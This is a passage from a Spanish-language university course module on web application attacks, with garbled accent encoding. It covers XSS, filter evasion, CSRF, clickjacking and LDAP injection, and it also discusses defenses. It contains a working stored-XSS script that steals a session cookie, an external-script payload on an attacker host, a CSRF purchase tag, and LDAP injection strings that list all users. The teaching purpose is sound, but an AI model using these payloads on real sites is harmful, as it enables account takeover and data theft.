CC-BY-NC-ND bull PID_00191662 15 Ataques a aplicaciones web
En el ejemplo que estamos exponiendo vamos a desarrollar una accioacuten de
mayor gravedad utilizando para ello tecnologiacutea AJAX (asynchronous Javascript
and XML) pasando a enviar mensajes de manera automaacutetica utilizando para
ello la cuenta del usuario Con ello vamos a conseguir que aquel usuario que
reciba nuestro mensaje nos enviacutee un mensaje a nuestra bandeja de entrada
conteniendo su cookie de sesioacuten Si se lo enviamos a un usuario con privilegios
administrativos lograremos control total sobre la aplicacioacuten
Generalmente seraacute necesaria una buena base de Javascript para explotar de
manera satisfactoria cualquier fallo de XSS En este caso estos conocimientos
deberaacuten ser avanzados Aquiacute se va a facilitar un coacutedigo completamente fun-
cional y que analizaremos liacutenea por liacutenea para que se pueda entender el obje-
tivo del mismo
ltscriptgt
d = ampto=eviluserampenviar=Enviarampmensaje=Mi cookie es +documentcookie
if(windowXMLHttpRequest)
x=new XMLHttpRequest()
else
x=new ActiveXObject(MicrosoftXMLHTTP)
xopen(POSTfuncsendphptrue)
xsetRequestHeader(Content-Typeapplicationx-www-form-urlencoded)
xsetRequestHeader(Content-Lengthdlength)
xsend(d)
ltscriptgt
Este coacutedigo Javascript nos va a permitir recoger la cookie de sesioacuten del usuario
De manera totalmente transparente para el usuario afectado este nos la en-
viaraacute mediante un mensaje Procedamos al anaacutelisis
bull Inicialmente se declara una variable d Esta variable contiene los valores
de ampto ampenviar y ampmensaje que son las variables que se enviacutean en la apli-
cacioacuten cuando mandamos un mensaje Detalle importante a observar es el
contenido de la variable ampmensaje documentcookie un objeto del DOM2
de la paacutegina que contiene todas las cookies asociadas al dominio actual
bull En las liacuteneas siguientes se realiza un ifelse que nos asegura la creacioacuten
de un objeto de tipo XMLHttpRequest tanto en navegadores Internet Ex-
plorer como Firefox o similares Este objeto es el usado para realizar las
peticiones AJAX
bull Con open() establecemos las condiciones que se van a utilizar para enviar el
formulario Seraacute enviado por POST a la url funcsendphp Esto se obtiene
(2)DOM son las siglas de documentobject model Es una manera denombrar cualquier elemento deuna paacutegina web desde la barra dedirecciones hasta un simple tex-to en negrita mediante una no-menclatura jeraacuterquica Por ejem-plo todos los elementos HTML deuna paacutegina estaacuten relacionados endocumentbody
CC-BY-NC-ND bull PID_00191662 16 Ataques a aplicaciones web
analizando de nuevo el formulario de enviacuteo Mediante true se indica que
la peticioacuten seraacute realizada de manera asiacutencrona esto es el navegador no se
quedaraacute ldquocongeladordquo mientras se enviacutea el mensaje
bull Las dos siguientes liacuteneas en las que se llama a la funcioacuten setRequestHeader()
se usan para establecer cabeceras HTTP que hagan que el servidor web
entienda que lo que estamos enviando es un formulario aunque el usuario
no lo haya rellenado
bull Para terminar se invoca a send() pasaacutendole como paraacutemetro la variable d
que teniacuteamos creada desde el principio del coacutedigo Con esto el navegador
realiza las acciones definidas anteriormente y si todo ha salido bien el
usuario afectado nos enviaraacute su cookie de sesioacuten
Para verificar que el ataque se estaacute efectuando seguacuten lo previsto vamos a enviar
un mensaje al usuario admin y desde otro navegador iniciaremos sesioacuten con
nuestro usuario para comprobar asiacute que el coacutedigo cumple con su cometido
Figura 4 XSS antes de ser enviado
Como se puede apreciar en la imagen anterior se ha antildeadido un mensaje en
el cuerpo del enviacuteo para que el usuario administrador no sospeche al recibir
un mensaje vaciacuteo Despueacutes de pulsar el botoacuten Enviar el usuario eviluser solo
tendraacute que sentarse a esperar refrescando su bandeja de entrada hasta que re-
ciba un mensaje de usuario admin con el valor de su cookie de sesioacuten El coacutedi-
go Javascript enviado se podraacute observar dentro del coacutedigo fuente pero pasaraacute
completamente desapercibido para el usuario admin cuando este inicia sesioacuten
con su navegador y automaacuteticamente se le presenta su bandeja de entrada
El coacutedigo HTML recibido por el usuario admin al abrir su bandeja de entrada
seriacutea
ltdiv class=contenidogt
ltp class=autorgtDe eviluserltpgtltp class=mensajegtltscriptgt
d= ampto=eviluserampenviar= Enviar ampmensaje=Mi cookie es +documentcookie
if(windowXMLHttpRequest)
x=new XMLHttpRequest ()
CC-BY-NC-ND bull PID_00191662 17 Ataques a aplicaciones web
else
x=new ActiveXObject (MicrosoftXMLHTTP)
xopen(POSTfuncsendphptrue)
xsetRequestHeader(Content-Type applicationx-www-form-urlencoded)
xsetRequestHeader(Content-Lengthdlength)
xsend(d)
ltscriptgt
iexclQue pagina mas chulaltpgtltdivgt
ltdivgt
ltbodygt
Este coacutedigo ha sido interpretado por el navegador del usuario admin y auto-
maacuteticamente se ha enviado un mensaje al usuario eviluser con la cookie de
sesioacuten
Figura 5 Mensaje recibido por el usuario eviluser
Con esta informacioacuten en su poder el usuario eviluser puede proceder a modi-
ficar el valor de su cookie con el valor recibido De este modo cuando su nave-
gador lo enviacutea al servidor este responde con las paacuteginas correspondientes al
usuario admin
Esta demostracioacuten es un claro ejemplo del potencial que puede llegar a impli-
car un ataque basado en XSS Como se ha visto sin conocer la contrasentildea del
administrador de un sitio web hemos logrado acceder a su cuenta
114 Filtros XSS
En la gran mayoriacutea de las ocasiones no seraacute posible escribir coacutedigo Javascript
directamente como se ha realizado en el ejemplo anterior Habitualmente los
programadores habraacuten establecido una serie de reglas para intentar evitar los
fallos XSS Sin embargo habitualmente los filtros utilizados son implementa-
ciones parciales de lo que deberiacutea ser un filtro antiXSS completo y esto nos
permite introducir nuestro coacutedigo Javascript salvando las dificultades adicio-
nales que se presenten
CC-BY-NC-ND bull PID_00191662 18 Ataques a aplicaciones web
Vamos a plantear una serie de medidasdeproteccioacuten que podemos encon-
trarnos y coacutemo pasar las limitaciones impuestas por estas Esto nos serviraacute para
entender coacutemo piensa un atacante a la hora de introducir coacutedigo XSS y mejo-
rar de este modo nuestras posibles implementaciones de filtros antiXSS
bull Cuandointroducimosloscaractereslsquooldquosecambianporrsquoordquo Esta
teacutecnica es conocida como ldquoescapar los caracteresrdquo y es uacutetil frente a inyec-
ciones SQL aunque no lo es frente a ataques XSS Cuando intentamos ce-
rrar una etiqueta HTML como vimos anteriormente y nos encontramos
con que se estaacuten escapando nuestras comillas pueden darse dos situacio-
nes ambas salvables por parte del atacante La etiqueta queda cerrada co-
mo rsquo o rdquo algo que en HTML es totalmente vaacutelido por lo que podemos
seguir introduciendo coacutedigo Javascript
ltinput type=text name=q value= gt
ltscriptgtalert(documentcookie)ltscriptgt
Es imposible establecer la cadena ldquoiexclHola Mundordquo al no poder escri-
bir correctamente las comillas Son varios los meacutetodos que se pue-
den usar en estos casos Por ejemplo podemos utilizar la funcioacuten
StringfromCharCode() que recibe una lista de coacutedigos ASCII y genera una
cadena
StringfromCharCode(72 111 108 97 32 77 117 110 100 111 33)
Tambieacuten es posible establecer referencias a ficheros Javascript externos
donde podremos usar todos los caracteres que deseemos sin preocuparnos
por ninguacuten tipo de filtro
ltscript src=httpwwwatacantecomxssjsgtltscriptgt
bull ElcoacutedigointroducidonopuedesersuperioraXcaracteres Una limi-
tacioacuten tiacutepica es encontrarnos que no podemos escribir maacutes de un nuacutemero
determinado de caracteres Esta limitacioacuten se puede solventar de nuevo
de dos maneras
ndash Si son varias las variables donde es posible introducir coacutedigo Javascript
podemos usar la suma de los caracteres correspondientes a cada una de
ellas para ampliar el nuacutemero de caracteres disponibles Esto se realiza-
riacutea mediante los caracteres de comentarios multiliacutenea de Javascript
al inicio y al final
ndash Si estamos limitados al tamantildeo un solo campo es posible utilizar un
fichero externo para cargar todo el coacutedigo Javascript necesario Para
reducir la longitud de la direccioacuten URL podemos usar paacuteginas del estilo
tinyurlcom o isgd Asiacute por ejemplo la URL httpwwwvictimacom
xssjs queda traducida a httpisgdowYT
CC-BY-NC-ND bull PID_00191662 19 Ataques a aplicaciones web
ltscript src=httpisgdowYTgtltscriptgt
bull Nopodemosintroducirlacadenascriptonosenospermiteintroducir
loscaracteresdemayorque(gt)ymenorque(lt) Aunque inicialmen-
te podriacutean parecer dos casos distintos al final pueden ser resueltos de la
misma manera Las etiquetas HTML tienen eventos que pueden lanzarse al
ocurrir ciertos sucesos OnLoad cuando se carga el elemento OnMouseO-
ver cuando se desplaza el cursor por encima OnClick cuando se hace clic
sobre eacutel etceacutetera Podemos usar estos elementos para introducir nuestro
coacutedigo
ltinput type=text name=buacutesqueda value=
OnFocus=alert(Hola Mundo) gt
bull Otroscasos Las teacutecnicas de XSS son tan variadas como podamos imaginar
Hay que tener en cuenta que no dependemos de la tecnologiacutea del servidor
sino de la del navegador que esteacuten usando los usuarios Existen teacutecnicas
para ejecutar coacutedigo Javascript que funcionan en Internet Explorer 7 y no
en Firefox 3 o incluso coacutedigo que se ejecuta en Safari 3 pero no lo hace en
la versioacuten 4 Es por ello por lo que no es factible automatizar esta teacutecnica
ni llegar a conocer todos los entresijos de la misma sino que el atacante
deberaacute utilizar su conocimiento y experiencia para lograr introducir el coacute-
digo XSS
12 Cross Site Request Forgery (CSRF)
Una vez entendida la base del XSS es el momento de estudiar algunas teacutecnicas
concretas derivadas de esta y lo que es posible hacer con ellas Una de ellas es
el cross site request forgery (CSRF)
El CSRF es una teacutecnica por la cual vamos a lograr que el usuario realice
acciones no deseadas en dominios remotos Se basa en la idea de apro-
vechar la persistencia de sesiones entre las pestantildeas de un navegador
Vamos a analizar con un ejemplo hipoteacutetico para entenderla
El usuario abre su navegador y entra en el sitio wwwsitio001com En este sitio iniciasesioacuten con su usuario y se le permite realizar una serie de acciones econoacutemicas tales comopujas o compras de objetos A su vez entra en la red social de moda wwwsitio002comdonde tiene sus fotos personales y se escribe mensajes con sus amigos Sin embargoresulta que en el sitio002com tiene un fallo de XSS permanente y un atacante lo va ausar para generar un ataque CSRF
Cuando nos ldquologeamosrdquo en un sitio determinado se nos asocia una cookie de sesioacuten quenos autentica uacutenicamente frente al servidor Esto evita tener que introducir nuestras cre-denciales en cada paacutegina que visitemos Sin embargo no podemos controlar cuaacutendo seenviacutean estas cookies Si nuestro navegador tiene almacenada una cookie asociada a un do-
CC-BY-NC-ND bull PID_00191662 20 Ataques a aplicaciones web
minio la enviaraacute en cada peticioacuten realizada a este dominio incluso si esta no se realizavoluntariamente
En este concepto se basa la teacutecnica de CSRF Vamos a obligar a un usuario a que realiceacciones no deseadas sobre un dominio desde otro Imaginemos que el sitio001comque recordemos permitiacutea transacciones econoacutemicas utiliza URL como la siguiente parala compra de objetos con la tarjeta de creacutedito almacenada
httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes
Si un usuario malintencionado lograse que un usuario autenticado en la paacutegina anteriorrealizase clic sobre el enlace obtendriacutea como resultado la compra del objeto en cuestioacutenEsto es podriacutea engantildear a la gente para comprar objetos que eacutel pusiera a la venta por unprecio desorbitado
Sin embargo un usuario avezado no hariacutea clic sobre un enlace desconocido y recibidopor una persona en la cual no confiacutea Es aquiacute donde entra en juego la teacutecnica de CSRFpermitiendo a un atacante ldquosimularrdquo clics veriacutedicos sobre una aplicacioacuten usando las cre-denciales (cookie de sesioacuten) de un usuario Esta accioacuten mediante XSS es sencilla
Como ya se ha puesto de manifiesto muacuteltiples veces a lo largo de este moacutedulo es nece-sario conocer muy a fondo el funcionamiento de los navegadores En este caso vamos ahacer uso de una condicioacuten que todos los navegadores comparten pues no haremos usode coacutedigo Javascript sino que utilizaremos coacutedigo HTML
Los navegadores web al encontrarse una etiqueta ltimggt siguen la direccioacuten del recursoespecificado en el paraacutemetro src Esto implica una conexioacuten para intentar descargar laimagen y esta puede realizarse entre dominios Si la imagen no se encuentra disponible ola respuesta que se recibe desde el servidor no es interpretable como imagen se mostraraacuteel icono de imagen rota
Un atacante puede aprovechar esta caracteriacutestica de los navegadores para obligar a losusuarios afectados a realizar acciones que no desean Crear una imagen que apunte a ladireccioacuten URL anteriormente indicada generariacutea una peticioacuten por parte de todos los na-vegadores que visitasen la paacutegina que contiene el coacutedigo HTML y que como veiacuteamos in-tentariacutea comprar un objeto en el dominio wwwsitio001com El siguiente coacutedigo HTMLse deberiacutea introducir por ejemplo en un comentario del sitio wwwsitio002com
ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes gt
Como se puede observar la teacutecnica es tan simple como efectiva Es posible hacer usode Javascript para que el ataque sea mucho maacutes discreto Las imaacutegenes disponen de unevento onerror que se lanza al no poder cargar la imagen Esto es parecido al atributoalt que se muestra cuando un navegador no soporta imaacutegenes Usando este evento ymodificando el recurso referenciado en src podemos cargar una imagen existente despueacutesde hacer la modificacioacuten maliciosa a traveacutes de CSRF
ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes onerror=thissrc=logojpgthisonerror=nullgt
Igualmente seriacutea posible desencadenar un ataque de forma maacutes discreta usan-
do CSS (cascading style sheets hojas de estilo para paacuteginas web) para evitar que
la imagen rota que se genera se le muestre al usuario
El ataque anteriormente descrito se ha podido llevar a cabo gracias a que la
paacutegina de sitio001com acepta peticiones GET aquellas donde los paraacutemetros
se remiten en la URL en lugar de requerir POST para los enviacuteos de informacioacuten
Una peticioacuten GET siempre seraacute maacutes faacutecil de manipular que una peticioacuten POST
Esto es asiacute porque para generar una peticioacuten POST debemos escribir coacutedigo
Javascript el cual puede entrar en conflicto con posibles filtros antiXSS que
existan en la aplicacioacuten
CC-BY-NC-ND bull PID_00191662 21 Ataques a aplicaciones web
Sin embargo y aunque establecieacutesemos como requisito indispensable que las
peticiones se realicen mediante POST esto no nos garantizariacutea la seguridad de
nuestra paacutegina ni de nuestros clientes
Para mejorar la seguridad frente a un posible ataque podemos hacer uso de las
cabeceras Referer Estas indican la paacutegina desde la que se ha llegado a otra Se
utilizan por ejemplo para conocer cuaacuteles son las buacutesquedas que permiten a
un usuario llegar a un sitio web desde un buscador Una medida de proteccioacuten
aunque se puede saltar seriacutea comprobar que las peticiones realizadas a nuestras
paacuteginas o al menos a aquellas que impliquen acciones sensibles se realicen
desde nuestro propio dominio
La uacutenica proteccioacuten real frente a ataques de CSRF es la de establecer una serie
de valores numeacutericos que se generen de manera uacutenica en cada peticioacuten Estos
pueden ser establecidos como un CAPTCHA que el usuario debe introducir al
realizar acciones criacuteticas o como un valor oculto en un campo hidden dentro
del coacutedigo de la paacutegina que comprobamos cuando el usuario nos devuelve la
peticioacuten Estas medidas aunque tediosas de programar nos permiten asegurar
los datos de nuestros usuarios
Como usuarios de aplicaciones posiblemente vulnerables a CSRF podemos
tomar una serie de precauciones que intenten evitar un ataque mediante esta
teacutecnica Las medidas son
bull Cerrar la sesioacuten inmediatamente tras el uso de una aplicacioacuten
bull No permitir que el navegador almacene las credenciales de ninguna paacutegi-
na ni que ninguacuten servidor mantenga nuestra sesioacuten recordada maacutes que
durante el tiempo de uso
bull Utilizar navegadores distintos para las aplicaciones de ocio y las criacuteticas
Con esto nos aseguramos la independencia de las cookies de sesioacuten entre
navegadores
13 Clickjacking
Las teacutecnicas de clickjacking son una amenaza reciente para los navega-
dores y sus usuarios Se basan en engantildear a los usuarios para que ha-
gan clic sobre elementos de un sitio web donde ellos nunca lo hariacutean
voluntariamente
Esto se consigue superponiendo dos paacuteginas
CC-BY-NC-ND bull PID_00191662 22 Ataques a aplicaciones web
bull Una la principal con la paacutegina donde queremos que realmente los usua-
rios hagan clic en zonas especiacuteficas como por ejemplo un banco para rea-
lizar una transferencia
bull Otra la que sirve como engantildeo superpuesta sobre la anterior y con con-
tenidos que sirvan de aliciente para que el usuario realice los clics en las
zonas deseadas por ejemplo un pequentildeo juego donde debemos cliquear
en determinadas zonas
Esta teacutecnica se basa en el uso de iframes superpuestos Los iframes son elemen-
tos HTML que permiten la inclusioacuten de un recurso externo dentro de nuestra
paacutegina Aunque contienen una serie de limitaciones a la hora de acceder a
ellos mediante Javascript son de posible uso para engantildear al usuario
1) El primer paso es generar una paacutegina con la URL que se quiere secuestrar y
que seraacute la base sobre la que colocaremos el resto de elementos que nos haraacuten
falta para llevar a cabo esta teacutecnica
Figura 6 Paacutegina a secuestrar
2) El siguiente paso es colocar un iframe con su veacutertice superior izquierdo
exactamente en el lugar donde deseamos que el usuario engantildeado realice el
clic Esto se hace asiacute para asegurar que independientemente del navegador el
clic se ejecute sin problemas
CC-BY-NC-ND bull PID_00191662 23 Ataques a aplicaciones web
Figura 7 IFRAME sobre el sitio original
3) Finalmente se deberaacute efectuar una colocacioacuten y distribucioacuten de los elemen-
tos en la paacutegina que efectuacutea el engantildeo Es recomendable en este sentido crear
alguacuten tipo de incentivo para que el usuario se vea interesado en realizar el
clic que se persigue a fin de capturar su pulsacioacuten y transmitirla a la paacutegina
original
Figura 8 Colocacioacuten del IFRAME para engantildear al usuario
CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web
Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah
Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-
sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase
una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a
traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-
racioacuten de seguridad del plugin como se puede observar en la siguiente imagen
Figura 9 Configuracioacuten de seguridad de Flash Player
Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-
gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para
interactuar con el servidor Es por eso por lo que algunos navegadores aportan
directamente protecciones contra esta teacutecnica
bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus
usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-
sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario
sea engantildeado para hacer clic sobre un elemento previamente falseado
CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web
Figura 10 Clickjacking bloqueado
bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-
ca que permite a los programadores web incluir una cabecera x-frame-op-
tions que si figura establecida como deny impide que la paacutegina que la en-
viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de
establecer el valor como sameorigin para permitir que uacutenicamente pueda
ser cargada si la peticioacuten se realiza desde el mismo dominio
Figura 11 IFRAME bloqueado desde Internet Explorer 8
bull En el resto de navegadores como GoogleChromeOperaSafarieInter-
netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten
y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos
tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-
gador
CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web
2 Ataques de inyeccioacuten de coacutedigo
Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet
Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten
puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante
Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma
geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un
tipo de ataque
1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita
a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de
ataque se usan de forma muy extendida en Internet a varios niveles
a) Nivel de enlace
Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones
de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en
servidores DHCP ( dynamic host configuration protocol)
b) Nivel de Red
bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-
tringidas a determinadas direcciones IP Se hicieron famosas en el ataque
a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo
directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo
desde un servidor con una direccioacuten IP en concreto
bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-
plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En
el caso del nivel de red el objetivo es controlar el socket mediante la su-
plantacioacuten del nuacutemero de secuencia
c) Nivel de Aplicacioacuten
bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima
crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-
ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de
envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-
cha del cumpleantildeosrdquo son utilizados para lograr este objetivo
bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que
hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta
teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten
CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web
mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-
nicas de suplantacioacuten de DNS
bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-
lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-
tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o
un paraacutemetro por GET o por POST
bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de
usurpar la identidad de un usuario para realizar las acciones en su lugar
2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-
nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten
Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-
dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor
de la misma
3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-
rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-
rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial
relevancia en entornos de anaacutelisis forense o sistemas contractuales
4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que
implica que un usuario no permitido acceda a informacioacuten o documentacioacuten
sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten
protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-
nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica
de Proteccioacuten de Datos (LOPD)
5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-
llas que interrumpen la continuidad de los procesos de negocio o servicio de
una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en
los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (
botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-
nicacioacuten de las empresas son objetivos de este tipo de ataques
6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario
puede cambiar su nivel de privilegios dentro de un sistema para acceder a
informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten
de privilegios es una vulnerabilidad que suele ser el origen de brechas que
conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten
A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la
implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-
taacuteneamente en varias de las categoriacuteas anteriores
CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web
La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo
objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-
nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos
directamente en la base de datos
21 LDAP Injection
Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en
aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible
realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso
y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo
LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones
bull And LDAP Injection
bull OR LDAP Injection y
bull Blind LDAP Injection
Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM
de Microsoft y el motor OpenLDAP un producto Software Libre de amplia
implantacioacuten a nivel mundial
211 LDAP Injection con ADAM de Microsoft
Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-
mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un
cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-
presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados
En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM
Figura 12 Estructura del aacuterbol LDAP creado en ADAM
CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web
Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente
filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como
se puede ver en la figura 13
Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)
Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a
toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera
todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-
tener con una consulta siguiendo el formato definido en las RFC sobre ADAM
(|(cn=Impresora_1)(cn=Impresora))
CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web
Figura 14 Todas las impresoras
Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos
inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten
no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre
cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo
antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta
por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))
Figura 15 Inyeccioacuten sin resultados
CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web
Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten
no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha
Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes
datos Es decir solo devuelve los datos del primer filtro completo y el resto de
la cadena es ignorado
212 LDAP Injection con OpenLDAP
Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol
que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya
estructura es la siguiente
Figura 16 Estructura del aacuterbol LDAP en OpenLDAP
Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-
niendo un uacutenico objeto como resultado (uid=kurt)
CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web
Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado
Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido
en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-
dor OR y un filtro que incluyera todos los resultados como se puede ver en la
siguiente imagen (|(uid=kurt)(uid=))
Figura 18 Todos los usuarios
Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento
sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))
CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web
Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro
Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado
el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba
ADAM
213 Conclusiones
Tras realizar estas pruebas podemos extraer las siguientes conclusiones
bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje
contra ADAM u OpenLDAP es necesario que el filtro original es decir el
del programador tenga un operador OR o AND A partir de este punto se
pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten
o realizar ataques blind es decir a ciegas
bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente
anidada en un uacutenico par de pareacutentesis general o bien que el componente
permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha
del filtro
bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust
puede ser vista de dos formas diferentes una primera en la que seriacutea vista
como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-
mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro
mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-
tariacuteamos hablando de un comportamiento particular de algunos motores
LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con
un segundo filtro con un operador el operador OR innecesario
CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web
A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP
que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten
siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-
jection y Blind LDAP Injection
214 ldquoORrdquo LDAP Injection
En este entorno nos encontrariacuteamos con que el programador ha creado una
consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados
al usuario
(|(atributo1=valor1)(atributo2=valor2))
Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-
table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-
dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea
ldquoGroupsrdquo Al ejecutarla obtenemos
Figura 20 Consulta OR sin inyeccioacuten
Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-
driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-
nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-
dena void)(uid=))(|(uid=
CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web
Figura 21 Lista de usuarios obtenida tras la inyeccioacuten
Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|
(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-
ta de todos los usuarios del aacuterbol LDAP
Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en
este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente
tipo
(|(type=outputDevices)(type=printer))
Figura 22 Listado de impresoras y dispositivos de salida
Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea
modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo
CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web
(|(type=outputDevices)(type=printer)(uid=))(|(type=void))
